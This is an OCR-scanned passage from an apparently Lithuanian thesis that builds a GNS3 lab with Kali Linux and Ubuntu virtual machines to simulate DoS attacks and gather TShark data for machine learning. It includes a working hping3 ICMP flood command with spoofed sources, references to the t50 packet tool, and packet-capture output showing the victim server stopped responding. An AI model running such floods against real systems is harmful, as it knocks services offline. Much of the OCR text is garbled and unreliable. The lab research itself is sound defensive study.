skirtingas DoS atakas. Tirti jy veikimo principus, stebéti kokj poveikj jos turi atakuojamam jrenginiui,

rinkti $iy ataky duomenis naudojant programas tokias kaip TShark

3.1.2. Reikalavimai aparaturai

Atliekant tokio tipo simuliacijas neuZtenka vien noro, bet reikia ir realiy fiziniy kompiuterio
resursy. Tai yra svarbu dél to, kad biity panaudojamas optimaliausias kiekis kompiuterio resursy ir
neduodama virtualioms masinoms daugiau nei yra norima, arba atvirks¢iai nesuteikiama per mazai
resursy ir dél to jos gali nebeveikti. Pavyzdziui, Ubuntu operacinei sistemai uztenka apytiksliai 416
Mb operatyvinés atminties, kad biity sistema uzkrauta, bet priklausomai nuo to ar pakanka, nes pacia
virtualia masina naudotis nebebus galimybés, bet bus galima vis tiek atlikti pries jg skirtingas atakas.
Toliau bus pateikiami reikalavimai rekomenduojami ir minimalts reikalavimai, bet ir Sie dar yra

tinkami atlikti skirtingoms atakoms
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2 lentelé. Rekomenduojami reikalavimai

Pavadinimas Operatyvinés atminties Vietos Procesoriaus
GNS3 virtuali maSina 4GB 50 GB 2 Ghz
Kali Linux 4GB 50 GB 2 Ghz
Ubuntu 4GB arba 8GB 50GB 2 Ghz
priklausomai nuo to kas
yra norima daryti
3 lentelé. Minimaliis reikalavimai
Pavadinimas Operatyvinés atminties Vietos Procesoriaus
GNS3 virtuali masina 2GB 20 GB 1 Ghz
Kali Linux 2GB 20 GB 1 Ghz
Ubuntu 1GB be grafinio dizaino ir 25 GB 1 Ghz
2 GB norint turéti vizualig
aplinka

Tokie yra duodami rekomenduojami nurodomi 2 lenteléje. Ir minimalas reikalavimai
nurodomi 3 lenteléje. Taciau reikty atsizvelgti ir j turimus fizinio kompiuterio parametrus, jeigu
kompiuteris turi 64 GB operatyvinés atminties tai biity galima Kali Linux duoti ir 8GB ir daugiau
operatyvinés atminties. Viskas priklauso nuo to ko reikia pac¢iam vartotojui ir ka jis nori atlikti.

Naudojamy simuliacijoje jrenginiy specifikacija

4 lentelé. Naudojamy simuliacijoje jrenginiy specifikacija

Pavadinimas Operatyvinés atminties Vietos Procesoriaus
GNS3 virtuali magina 2GB 20 GB 1Ghz
Kali Linux 2GB 20 GB 2 Ghz
Ubuntu 2GB 20GB 2 Ghz

Simuliacijoje pasirinkty resursy naudojimas labiau atitinka minimalius reikalavimus 4
lenteléje. tadiau tai buvo pakankamai auksti resursai suteikti i§ fizinio kompiuterio. Siy suteikty
resursy virtualioms masinoms pilnai pakanka atlikti visas ataky simuliacijas.

Simuliacijai naudoto kompiuterio parametrai: Simuliacija buvo atlikta kompiuteryje, kurio
parametrai yra tokie: Procesorius — AMD Ryzen 5 5600H with Radeon Graphics, 3301 Mhz, 6
Core(s), Memory 8.00 GB, GPU NVDIA GeForce RTX 3050.

3.1.3. GNS3 virtualios aplinkos jdiegimas
Norint atlikti DoS atakas pirmiausia reikia susikurti tam tikrg simuliacine aplinka. Tam buvo
pasitelkta GNS3 programa ir GNS3 virtuali masina.

Pirmiausia pasirenkame kokioje operacinéje sistemoje norime instaliuoti GNS3. Siai

simuliacijai jgyvendinti reikia rinktis Windows instaliacija, nes naudojamas Windows kompiuteris.
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€ GNS3 2.2.47 Setup —

Choose Components
Choose which features of GNS3 2.2.47 you want to install.

Check the components you want to install and uncheck the components you don't want to
install. Click Next to continue.

Select the type of install: Custom v
; 1 Description
Or, select the optional - MSVC Runtime 2017 i ‘
S wish to [7] GNS3 Desktop
’ S| Gs 3 WebClient
--[¥] GNS3 VM
+- M Tools
Space required: 322.6 MB
< Back Next > Cancel

3.2 pav. GNS3 jdiegimas

Tuomet reikia rinktis kokius jrankius norime jrasyti — pavaizduota 3.2 pav. paveiksle. Kad
buty turima pati GNS3 aplikacija, tuomet GNS3 VM, kad buty galima naudotis virtualiomis

masinomis GNS3 aplinkoje.

€ GNS3 2.2.47 Setup —

GNS3 VM
The GNS3 VM must be run by a Virtual Machine Software program

Please select the GNS3 VM type:

© VMware Workstation
O VMware ESXi

O VirtualBox

O Hyper-V

< Back Install Cancel

3.3 pav. VMware Workstation, kad biity galima naudoti GNS3 VM

Tuomet reikia pasirinkti kokia virtualiy masiny platforma bus naudojama simuliacijoje
pavaizduota 3.3 pav. paveiksle. Kad buty galima naudoti GNS3 VM, kadangi simuliacijoje bus
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naudojamos virtualios masinos i§ WMware tai reikia rinktis WMware. Tuomet toliau einam per

instaliacija ir viskg paliekame kaip yra.

@ cusa-ausa
Ble Ot Wew Comrl Node Amomte Tock Help

e OM>> "HC FElIc/ sQQB

= Tepology S @1
Nade

AROMOH S

3.4 pav. GNS3 pradZios ekranas

Viska suinstaliave matome tokj pradinj ekrang, pavaizduota 3.4 pav. kuriame susikursime

tinkla ir atliksime skirtingas DoS atakas ir stebésime jy poveikj atakuojamam jrenginiui. Jau dabar
galétume bandyti déliotis skirtingus tinklo jrenginius, taciau dar néra instaliuotos GNS3 virtualios

masinos, todél negalime pradéti simuliacijos.

3.1.4. GNS3 virtualios aplinkos paruoSimas
Pirmiausia norint instaliuoti GNS3 virtualia masing mums pirmiau reikia parsisiysti ir
jsirasyti VMware programa j kurig galétume suinstaliuoti virtualias masinas.
Parsisiun¢iama VMware programa is oficialios VMware svetainés

':, VMware Workstation 17 Player Setup - X

e Welcome to the VMware Workstation 17 Player

WORKSTATION [ttt

PLAYER"

The Setup Wizard allows you to change the way VMware
Workstation 17 Player features are installed on your
computer or to remove it from your computer, Click Next to
continue or Cancel to exit the Setup Wizard.

Back Next Cancel

3.5 pav. VMware instaliacija
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Pradinis vaizdas gaunamas atidarius VMware instaliacijg pavaizduota pav 3.5. Visoje

instaliacijoje nieko nekei¢iame, viskg palickame taip kaip yra.

VMware Workstation 17 Player (Non-commercial use only

_ Welcome to VMware Workstation 17 Player

[—[:] Create a New Virtual Machine
ml
0= O <

O Upgrade to VMware Workstation Pro
Get advanced festures =

tures such as mapshots, virtuel network management, and more.

@ Help

3.6 pav. WMware pradzZios ekranas

Atidarius suinstaliuot3 WMware matome tokj vaizda 3.6 pav. paveiksle.Sioje programoje

reikia suinstaliuoti visas virtualias masinas kurias naudosime simuliacijoje. Toliau reikés jrasyti

GNS3 virtualiag masing.
Parsisiun¢iame GNS3 virtualios masinos instaliacija i$ oficialaus GNS3 puslapio svarbu

pasirinkti, kad instaliacija buty tinkama VMware aplinkai. Tuomet per VMware paspaudziame ,,Open

a virtual machine* ir matome tokj vaizda.

Import Virtual Machine

Store the new Virtual Machine
Provide a name and local storage path for the new virtual machine.

Name for the new virtual machine:

GNS3 virtuali masina

Storage path for the news virtual machine:

C:\Users\Patricijad02\New folder Browse...

Help Import Cancel

3.7 pav. Pridéjimas GNS3 virtualios maSinos prie WMware
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Jrasome kaip norétume, kad vadintysi sukurta virtuali masina. Siuo atveju ji buvo pavadinta
,»GNS3 virtuali maSina® ir tuomet nurodome kurioje vietoje norétume, kad $i masina biity jraSyta
miisy kompiuteryje. Zitiréti pav 3.7.

Tuomet prie savo virtualiy maSiny pamatome sukurtg GNS3 virtualig masing. Atidarome

sukurta virtualiag masing.

GNE3 2.2.46

nformat ion@MDisplay WM information

Channel 5elect the release channel

Lpgrade Upgrade the GNS3 WM

shell Open a shell

Log Show the GMS3 serwver log

Test Check Internet connection

Oemu Switch Gemu wversion

Security Configure server authentication

keyhoard Change keyboard layout

Console Change console settings (font size etc.)
Conf igure Edit serwver configuration (advanced users OMLY)

Proxu Configure proxy settings

Hetwork Configure network settings

Migrate Migrate data to another GNS3 WM

Restore Restore the WM (if an upgrade has failed)
Shrink Shrink the WM disk

Reboot Rehoot the WM

Shutdown Shutdown the WM

<Cancel>

3.8 pav. GNS3 virtualios masinos pradZios ekranas

Atidarius GNS3 virtualia masing gauname tokj vaizda 3.8 pav. Cia keisti nieko nereikia.

Tuomet viska suinstaliavus grjiztame | GNS3 programg j kurig reikés jkelti GNS3 virtualia
masing, kad ji buty naudojama. GNS3 programoje. Pasirenkam virSuje paraSyta ,,Help, tuomet
,Setup Wizard

€ Setup Wizard ? X

Server
Please choose how would like to run your GNS3 network simulations. The
GMNS3 VM option is strongly recommended on Windows and Mac 0S X.
@) Run appliances in a virtual machine
Requires to download and install the GNS3 VM (available for free)
Run appliances on my local computer
A limited number of appliances like the Cisco I0S routers <= C7200 can be run
Run appliances on a remote server (advanced usage)

The server will be on a remote computer and can be shared with multiple
users

Don't show this again

| Next > | Cancel
3.9 pav. GNS3 virtualios maSinos jkélimas j§ GNS3
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Tuomet atsiranda langas kuriame nieko nekei¢iame, nes norime, kad masy GNS3 programa

veikty kartu su virtualia GNS3 masina.

€ Setup Wizard ? X

Local server configuration
Please configure the following GMNS3 local server settings

Server path: |C:\Program FiIeskGNSBHgnsBsewer.E)(Ei Browse...
Host binding: | localhost -
Fort: 3080 TCP -

< Back Next = Cancel

3.10 pav. pasirenkama failo lokacija i§ kur bus keliama GNS3 virtuali maSina

Pasirenkame i$ kur norime, kad biity instaliuojama musy GNS3 virtuali masina prie host
binding paliekame localhost, bet galime jj ir pakeisti j 127.0.0.1 prie porto palickame 3080, bet ir jj
galime pakeisti j 443. Pavaizduotoje ekrano nuotraukoje 3.10 pav.pasirenkama failo lokacija i$ kur

bus keliama GNS3 virtuali maSina“.

€ Setup Wizard ? X

GHS3 VM
In order to run the GNS3 VM you must first have VMware or VirtualBox
installed and the GNS3 VM.ova imported with one of these software.
Virtualization software:
® VMware (recommended)
VirtualBox

The GNS3 VM can downloaded here.
Import the VM in your virtualization software and hit refresh.

VM name:

GNS3 virtuali masina b Refresh

VvCPU cores:

1 -

RAM size:

2048 MB =
< Back Mext = Cancel

3.11 pav. GNS3 virtualios masinos specifikacijos rinkimasis
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Pasirenkame VMware kaip savo instaliavimo programa, o apacioje matome, kad GNS3 jau
aptiko miisy virtualiag masing su nustatytais jos parametrais. Toliau nieko nekeiiame, spaudziame

,»Next“ ir einame toliau per instaliacija nieko nekeisdami.

3.2. Virtualiy masSiny instaliacija

Kitas virtualias masinas instaliuosime taipogi 1 VMware poto i GNS3 instaliacijos procesa
apzvelgsime toliau.

3.2.1. Ubuntu instaliacija

Tuomet per VMware paspaudziame ,,Create new virtual machine* pasirenkame aplankalg i$

kurio norime kad biity instaliuotas musy Ubuntu ir tuomet matome tokj vaizda 3.13 pav.

New Virtual Machine Wizard X

Easy Install Information
This is used to install Ubuntu 64-bit.

Personalize Linux

Full name:  Ubuntu

User name: tadas

Password: eeseee
Confirm: Ty
Help < Back lext = Cancel

3.12 pav. Ubuntu instaliacija

Susivedame informacija tai virtualios masinos pavadinimui, vartotojo varda ir slaptazod;.
Toliau einame per instaliacija nieko nekeisdami Siame procese. Yra suteikiama galimybé suteikti
norimus virtualios masinos resursus, bet galésime tai padaryti ir véliau. Tuomet yra uzkraunama
instaliacija joje palickam viskg kaip yra ir nieko nekei¢iame. Kai viskg suinstaliuojame galiausiai

gauname tokj ekrano vaizda.
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3.13 pav. Ubuntu pradZios ekranas

Cia yra Ubuntu pradzios ekranas §ia Ubuntu sistema véliau paversime j serverj pries kurj
bus nutaikytos atakos.
3.2.2. Kali Linux

Bus instaliuojama virtuali Kali Linux sistema j VMware §i virtuali masina bus naudojama
atakuojant kita kompiuterj. Instaliuojant Kali Linux parsisiuné¢iam 1so failg i§ oficialios svetainés
reikia pasirinkti norima instaliuoti versija, parsisiunt¢ j kompiuterj toliau atlickame tokius pat
veiksmus kaip, kad atlikome su Ubuntu virtualia masina. Paleistas Kali Linux iso failas pradeda Kali

Linux instaliacija papildomy veiksmy instaliacijos metu atlikti nereikia.

S o m P O] 2 3 4 O ® A @ess| 4§

3.14 pav. Kali Linux pradZios ekranas
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3.3.  Topologijos sukurimas GNS3

Pirmiausia norint sukurti GNS3 topologija reikéjo jsikelti jau sukurtas virtualias masinas j

GNS3 tai galima padaryti paspaudus ant ,,New template* mygtuko pavaizduota 3.16 pav.

HC PEOO/ §RA0

1}
©
M i
IV
4

O[n (79*0‘,;:

a8

3.15 pav. Virtualiy masiny pridéjimas prie GNS3
Tuomet reikia pasirinkti ,,Manually create a new template® .

€ New template ? X
New template
Please select how you want to create a new template
Install an appliance from the GNS3 server (recommended)

Import an appliance file (.gns3a extension)

) Manually create a new template

< Back Next > Cancel

3.16 pav. Norimas virtualios masinos jkélimo budas

Atsidariusiame preferences lange spaudziame ant ,,VMware VMS* pavaizduota 3.17 pav.
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B5 Preterences

General
Server
GNS3 VM
Packet capture
~ Built-in
Ethernet hubs
Ethernet switches
Cloud nodes
~VPCS
VPCS nodes
~ Dynamips
105 routers
~10S on UNIX
10U Devices
~QEMU
Qemu VMs
~ VirtualBox
VirtualBox VMs
~VMware

~ Docker
Docker containers

'VMware VM templates

~ General
Template name:
Template ID:
Server:
Headless mode enabled:
On close:
Linked base VM:
Console type:
Auto start console:
~ Network
Adapters:
Name format:
Use any adapter:
Type:

¥ Debian 12.x 64-bit
8 DNS Serveris
" Ubuntu 64-bit

\

Hew

Ubuntu 64-bit
T76c61d54-881f-44f3-952¢-203abdbd90b3
Patricija

False

power_off

False

none

False

1
Ethernet{0}
False
e1000e

Edit Delete

oK Cancel Apply

3.17 pav. Pilnas naujos masinos pridéjimas

Spaudziam mygtuka ,,New* pavaizduotg ekrano nuotraukoje 3.18 pav. Tuomet atsidariusiame

lange renkamés, kad paieska buty misy kompiuteryje ,, Run this VMware VM on my local computer*,

tuomet reikia spausti ,,Next ir mumis turi nukelti j langg kuriame mums rodomas virtualiy masiny

sgrasas ir mums reikia pasirinkti virtualig masing kurig noré¢tume jsikelti ] GNS3

Debian12.x64-bit-1

192.168.67.130

Switchl

e

webserveris

192.168.67.129

3.18 pav. Naudojama topologija

Su $ia topologija pavaizduota 3.19 pav. Buvo atliktos skirtingos atakos, renkami duomenys apie

Sias atakas ir jie analizuojami.

Projektui jgyvendinti buvo pasitelkta GNS3 simuliaciné aplinka kurioje buvo jrasyta:

e Kali Linux — tai virtuali masSina i$ kurios turi biiti paleistos skirtingos DoS atakos

e Internetas —aplinkoje buvo pasitelkta, kad puolimas vyksta ne is vidinio tinklo, o per interneta.

e WireShark — su WireShark stebimos atakos realiu laiku grafiniu pavidalu
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e TShark — yra naudojamas duomeny rinkimui apie atakas
e Komutatorius — susiekimas tarp interneto ir sukurto serverio
e Ubuntu — Ubuntu buvo pasitelktas kaip serveris pries$ kurj bus nutaikytos atakos

e Duomeny saugykloje — renkami TShark duomenis .csv pavidalu

3.4. Naudojamos programos ir konfigiiracijos

Sioje simuliacijoje reikéjo jrasyti papildomai programy tam, kad biity galima atlikti visas

norimas atakas, suinstaliuoti reikiamas programas, kad biity atidaryti tam tikri prievadai.

3.4.1. Kali Linux programos

Simuliacijoje buvo pasitelkiama Kali Linux virtuali masina su kuria buvo atliekamos atakos
ir atviry prievady skenavimas.
Nereikia papildomos instaliacijos:
e Nmap — yra skirtas ieskoti atviry prievady, kurie buvo savaime jrasyti j Kali Linux,
dél to papildomy instaliacijy atlikti nereikia.
e Hping3 — ataky atlikimo jrankis kaip ir auk$¢iau minétas nmap buvo savaime
jrasytas, dél to papildomy instaliacijy atilikti nereikia.
Reikia papildomos instaliacijos:
e 150 — ataky atlikimo jrankis, dar Zinomas kaip grei¢iausiai generuojantis paketus. Sj
jrankj reikéjo jrasyti papildomai, kadangi jis néra jraSomas kartu su Kali Linux

instaliacija kuri yra rodoma 3.20 pav.
—$ sudo install t50
[sudo] password for kali:
Reading package lists... Done
Building dependency tree ... Done
Reading state information... Done

t50 is already the newest version (5.8.7b-1).

The following package was automatically installed and is no longer required
libabs120220623

Use 'sudo apt autoremove' to remove it.

@ upgraded, @ newly installed, @ to remove and 815 not upgraded.

3.19 pav. t50 jrankio instaliacija

3.4.2. Ubuntu programos

Kadangi Ubuntu siame projekte atstoja serverj pries kurj reikia atlikti atakas, dél to i ji

reikéjo papildomai instaliuoti programy.
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Apache — suinstaliuotas tam, kad i$ paprasto Ubuntu bty paversti j serverj su atidarytais
TCP protokolo prievadais. Tokiais kaip — 80 ir 443. Instaliacija rodoma 3.21 pav. Apache istirti
(Zeebare, Jacksi, Zabari, 2020)

;-5 sudo apt install apache2

[sudo] password for taduleika:

Reading package lists... Done

Building dependency tree... Done

Reading state information... Done

apachez is already the newest version (2.4.52-1ubuntu4.9).

The following packages were automatically installed and are no longer required:
libwpe-1.8-1 libwpebackend-fdo-1.8-1

Use 'sudo apt autoremove' to remove them.

0 upgraded, ©® newly installed, ® to remove and 47 not upgraded.

3.20 pav. apache instaliacija

Tada reikia padaryti, kad biity leidziamas pakety eismas per 80 ir 443 prievadus.

:-S sudo ufw allow 88/tcp
udo ufw allow 443/tcp
[sudo] password for taduleika:
Rules updated
updated (vé6)
updated
updated (v6)

3.21 pav. reikalingy prievady atidarymas

Tuomet norint atlikti UDP uztvindymo atakas reikia prievado kuris naudoty UDP
protokolg. Jam buvo pasirinktas 53 DNS prievadas ir instaliuotas bind9 kurj reikéjo istirti
(Magnusson, 2019) kuris sugebéjo padéti jraSydamas DNS, dél to reikéjo atidaryti 53 prievada.

Instaliacija nurodyta ekrano nuotraukoje 3.23 pav.

:~$ sudo apt install bind9 bind9-utils bind9
doc
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
bind9 is already the newest version (1:9.18.18-8ubuntu®.22.04.2).

bind2-doc is already the newest version (1:9.18.18-0ubuntu®.22.84.2).

bind2-utils is already the newest version (1:9.18.18-0ubuntu®.22.04.2).

The following packages were automatically installed and are no longer required:
libwpe-1.0-1 libwpebackend-fdo-1.0-1

Use 'sudo apt autoremove' to remove them.

® upgraded, @ newly installed, ® to remove and 47 not upgraded.

3.22 pav. DNS instaliacija

Tada reikia panaudoti komanda 3.24 pav .sudo nano /etc/bind/named.conf.options ir

atidaryti pagrindinj kofigiiracijy langa.
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GNU nano 6.2 etc/bind/named.conf.options

directory "/var/cache/bind";

listen-on { any; };

listen-on-v6 { any; };:

allow-query { any; };

recursion yes; [/ Allows recursive queries which can exacerbate the load UH

// Uncomment and configure the following block if you need to use forwarderf
[/ Torwarders {

// 0.0.0.0;
/1Y)

dnssec-validation auto;

// Additional settings and security measures can be added here.

3.23 pav. DNS konfigiiracija

Siame lange yra aprasytos visos DNS konfigiiracijos. Jas reikia pakeisti pagal save, tada
atsidaro 53 prievadas prie§ kurj bus galima atlikti UDP uZtvindymo atakas. Tuomet reikia
suinstaliuoti jrankj kuris padéty sumazinti kompiuterio galimybes ir apsisaugoti nuo DoS ataky. tai

jrankis skirtas pralaidumo juostai mazinti. Zitiréti: 3.25 pav.

:-S$ sudo apt install iproute2

[sudo] password for taduleika:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done

iproute2 is already the newest version (5.15.0-1ubuntu2).

The following packages were automatically installed and are no longer required:
libwpe-1.0-1 libwpebackend-fdo-1.8-1

Use 'sudo apt autoremove' to remove them.

0 upgraded, @ newly installed, @ to remove and 47 not upgraded.

3.24 pav. iproute? instaliacija

Tuomet reikia panaudoti komanda kuri sumazing pralaidumo juosta.
sudo tc gdisc add dev ens33 root tbf rate 700bit burst 1kbit latency 50ms
Panaudojus $ig komanda yra labai stipriai sumazinama Ubuntu kompiuterio pralaidumo
juosta, kas padaro DoS atakas zymiai lengviau jgyvendinamas, kad bty galima gauti norimg
rezultatg.

3.4.3. Sistemos konfigiiravimas

IS tiesy labai daug papildomy konfigiiracijy atlikti nereikia, reikia tik sutvarkyti interneto

prieiga virtualioms masinoms, nes i§ pradziy jos neturi prisijungimo prie interneto.
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Virtual Machine Settings X

Hardware Options

Device status

Device Summary

[E=IMemory 2GB @ connected

QEEPTUCESSUTS 2 Connect at pawer on

[\ Hard Disk (5CSI) 20 GB

(=) CD/DVD (IDE) Using file C:\Users\Patricija0... Network connection

5 Network Adapter Custom (VMnet8) 'i' Bridged: Connected directly to the physical network

= USB Controller Present Replicate physical network connection state

£l Sound Card Auto detect

[sk] Serial Port Using named pipe \\.\pipe\gn... < © =H
[l pisplay Auto detect (JNAT: Used to share the host's TP address

"_:_Z' Host-only: A private network shared with the host
© Custom: Specific virtual network

VMnets (NAT) —

() LAN segment:

LAN Segments...  Advanced...

3.25 pav. virtualiy masiny konfigiiravimas

Tad reikia per virtualios masinos nurodoma 3.26 pav. nustatymus nueiti ir paspausti ant
»Network Adapter®, tuomet pakeisti ,,Custom: Specific virtual network® i§ automatiskai nustatyto

VMnet0 ;| VMnet8 taip padarius buvo suteiktas internetas virtualioms masinoms.

3.5. Projektinés dalies iSvados

1. Parsiusti ir suinstaliuoti GNS3, GNS3VM ir VMware. Visos $ios programos
sujungtos taip, kad galéty veikti tarpusavj.

2. Prijungti ir sukonfigtiruoti GNS3 virtualiag masing prie GNS3 programos.

3. Apzvelgti reikalingi parametrai virtualioms masSinoms, rekomenduojami kir¢jo
minimalis ir panaudoti simuliacijoje virtualiy masiny parametrai, taip pat buvo panaudoti kuo
mazesni virtualiy masiny parametrai dél fizinio kompiuterio istekliy.

4. Parsiustos ir suinstaliuotos virtualios masinos tai Kali Linux, ir Ubuntu mag$ina. Jas
reikéjo sukonfigiiruoti taip, kad jos galéty veikti kuo ekonomiskiau ir, kad naudoty kuo maziau
kompiuterio resursy.

5. Virtualias masinas reikia sukonfigtiruoti ir pridéti ] GNS3 topologija.

6. Sukurti tinklo topologija kurioje bus galima testuoti skirtingas DoS atakas ir stebéti
ju poveiki aukos serveriui.

7. Sudiegi papildomas programas kurios yra reikalingos tam, kad atlikti simuliacija,
skirtingas ataky testavimo programas. Atidaryti skirtingi prievadai, kad bity galima prie§ juos
panaudoti Sias atakas, tuomet suinstaliuota programa kuri skirta sumazinti atakuojamojo serverio

pajégumus apsiginti nuo Siy ataky.
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4. EKSPERIMENTINE DALIS

Sioje dalyje aprasomi tokie dalykai, kaip simuliacines aplinkos parengimas, simuliacijos
scenarijy parengimas, simuliacija, atliktos skirtingos DoS atakos duomeny stebéjimas su WireShark

ir duomeny rinkimas su TShark

4.1. Simuliacines aplinkos parengimas

I$ pradziy reikia sudéti virtualias mas$inas j tinklg ir tada jas sujungiant reikéjo jsitikinti, kad
jos gali komunikuoti tarpusavj tam buvo pasitelkta ping komanda. IS pradziy buvo suzitirétas Kali
Linux IP adresas, tuomet Ubuntu IP adresas, suzinojus $iy masiny IP adresus galima pradéti atlikinéti
ping komandas tarpusavj. Kai yra gaunami atsakai tiek j vieng tiek j kitg virtualig masSing tai reiskia,
kad jos yra sujungtos tarpusavj, tuomet reikia panaudi ta pacia ping komanda tam, kad pazitréti ar i$
virtualiy masiny yra galimas susisiekimas su internetu. Reikia pinginti 8.8.8.8 adresg kuris priklauso

Googlei, gavus i§ jo atsakg supratau, kad jungtis pavyko ir galima testi simuliacija toliau.

4.2. Simuliacijos scenarijy parengimas

Scenarijy parengimg reikia padaryti taip kad, Kali Linux virtuali masina biity naudojama
kaip atakos jrankis, nes Kali Linux yra puikiai pritaikytas tokiems saugumo bandymams su savo
jrasytu iSkarto nemazu Kiekiu jvairiy jrankiy. Vienas i8 tokiy btity nmap. Ir Ubuntu kurj reikia paversti
j serverj prie§ kurj buty galima atlikti skirtingas atakas. GNS3 buvo naudojamas ne tik tinklo
sudarymui, bet taipogi turi jraSytg WireShark ir TShark kurie buvo reikalingi simuliacijai.

Simuliacijos eiga:

1. Panaudojus Kali Linux turima programa nmap buvo nuskenuoti Ubuntu serverio
prievadai, jsitikinant, kad visos instaliacijos Ubuntu pavyko ir atitinkami prievadai
yra atviri.

2. Ataky bandymai buvo testuojami skirtingomis atakomis pries Ubuntu server;j.

3. Realaus laiko stebéjimui buvo pasitelktas WireShark su kuriuo atakos metu ir po jos
reikéjo stebéti kas vyksta ir kokie gaunami atsakai i§ atakuojamojo jrenginio.

4. Duomeny rinkimui reikia pasirinkti TShark su kuriuo galima paimti jau i$§saugota
WireShark atakos apraSo failg ir per cmd komanding eilute paversti jj tokia forma

kokios reikia masininiam mokymuisi.
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4.3. Simuliacija

Sioje vietoje buvo atlikti visi norimi bandymai, testuojamos skirtingos atakos stebimas

pakety srautas tarp Kali Linux virtualios masinos ir Ubuntu virtualios masinos, renkami duomenys.

4.3.1. ICMP uzZtvindymo ataka

Siai atakai buvo panaudotas hping3 jrankis.

Panaudota komanda:

sudo hping3 -1 192.168.67.129 --icmpcode 0 --icmptype 8 --flood --rand-source

HPING 192.168.67.

will

be

icmp mode set,

shown

4.1 pav. ICMP atakos paleidimas

Virsuje esantis paveikslas — 4 .1 pav. nurodo atakos statistika taip pat , kad per atakos laikg

buvo iSsiysti 2490940 paketai, o gauty atgal pakety 0, dél to nes hping3 naudoja netikrus IP adresus.

Stebime §ia atakg per WireShark.

188! 39.844886
189 39.844925
190 39.844964
191 39.845002
192 39.845041
193 38.845084
194 38.845117
195 39.845158
196 39.845200
197 39.845241
198 39.845284
199 39.845325
200 39.845371
201 39.845414
202 39.845456
203 39.845500
204 38.845545
205 39.845584
206 39.845612
207 39.845649
208 39.845690
209 39.845729
210 39.845778
211 39.845869
212 39.845851
213 39.846050
214 39.846096
215 39.846136

77.230.86.104
43.185.104.202

132.
102.
191.

79.18.254
185.161.285
141.66.146

42.109.203.2083
64.86.36.134
99.69.222.158

241.
.117.57.56
.254.22.49
-149.192.18
.4.188.99
-131.222.10
.81.56.30

105.198.168

25.11.165.233
54.21.137.206
18.222.285.135

247.

62.203.131

75.56.199.233

121.

91.36.187

96.28.222.199

158.
222.
198.
105.

79.42.91
135.233.164
206.165.219
15.221.80

97.188.97.62
99.229.195.123

.168.67.
.168.67.
.168.67.
.168.67.
.168.67.
.168.67.
.168.67.
.168.67.
.168.67.
.168.67.
.168.67.
.168.67.
.168.67.
.168.67.
.168.67.
.168.67.
.168.67.
.168.67.
.168.67.
.168.67.
.168.67.
.168.67.
.168.67.
.168.67.
.168.67.
.168.67.
.168.67.
.168.67.

129
129
129
129
129
129
129
129
129
129
129
129
129
129
129
129
129
129
129
129
129
129
129
129
129
129
129

ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP

42
42
42
a2
a2
42
42
42
42
42
42
42
42
a2
a2
42
42
42
42
42
42
a2
a2
42
42
42
42
42

Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Eche
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Eche
Eche
Echo

(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)

request
request
request
request
request
request
request
request
request
request
request
request
request
request
request
request
request
request
request
request
request
request
request
request
request
request
request
request

id=ex4899,
id=6x4899,
id=6x4899,
id=6x4899,
id=6x4899,
id=0x4899,
id=0x4899,
id=6x4899,
id=0x4899,
id=6x4899,
id=6x4899,
id=6x4899,
id=6x4899,
id=6x4899,
id=6x4899,
id=0x4899,
id=0x4899,
id=ex4899,
id=ex4899,
id=6x4899,
id=6x4899,
id=6x4899,
id=6x4899,
id=6x4899,
id=6x4899,
id=0x4899,
id=0x4899,
id=6x4899,

seq=12544/49,
seq=12800/50,
seq=13056/51,
seq=13312/52,
seq=13568/53,
seq=13824/54,
5eq=14080/55,
seq=14336/56,
seq=14592/57,
seq=14848/58,
seq=15104/59,
5eq=15360/60,
seq=15616/61,
seq=15872/62,
seq=16128/63,
seq=16384/64,
5eq=16640/65,
5eq=16896/66,
seq=17152/67,
seq=17408/68,
5eq=17664/69,
seq=17920/70,
seq=18176/71,
seq=18432/72,
seq=18688/73,
seq=18944/74,
5eq=19200/75,
5eq=19456/76,

4.2 pav. ICMP atakos duomenys WireShark

ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64

(reply i
(reply i
(reply i
(reply i
(reply i
(reply i
(reply i
(reply i
(reply i
(reply i
(reply i

(reply
(reply
(reply

"
3

"
5

"
5

"
5

"
5

"
5

"
5

"
5

"
3

(TR
55

in
in

in

212067)
225318)
238591)
248684)
259373)
271571)
283597)
294212)
303404)
303487)
303488)
303418)
303413)
303414)

(no response found!)

(no response found!)
(no response found!)

(no response found!)
(no response found!)

(no response found!)
(no response found!)

(no response found!)

(no response found!)

(no response found!)

(no response found!)

(no response found!)
(no response found!)

(no response found!)

VirSuje esancioje ekrano nuotraukoje — 4.2 pav. Matome, kad atsiliepimy atsakymai i

uzklausas vis didéjo kol galiausiai serveris pradéjo nebesiysti jokio atsako. Dél to galime teigti, kad

Si ataka pavyko ir serveris buvo galiausiai nebepasiekiamas.
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Duomenys surinkti su TShark komanda: tshark -r bendras.pcapng -T fields -e frame.time -e ip.src -e

ip.dst -e _ws.col.Protocol -e tcp.flags.syn -e tcp.flags.ack -e tcp.flags.reset -e udp.srcport -e udp.dstport -e icmp.type -e

icmp.code -E header=y -E separator=, -E quote=d -E occurrence=f > bendras.csv

Apr
Daylight Time
Apr
Daylight Time
Apr
Daylight Time
Apr
Daylight Time
Apr
Daylight Time
Apr
Daylight Time
Apr
Daylight Time
Apr
Daylight Time
Apr
Daylight Time
Apr
Daylight Time
Apr
Daylight Time
Apr
Daylight Time
Apr
Daylight Time
Apr
Daylight Time
Apr
Daylight Time
Apr
Daylight Time
Apr
Daylight Time
Apr
Daylight Time
Apr
Daylight Time
Apr
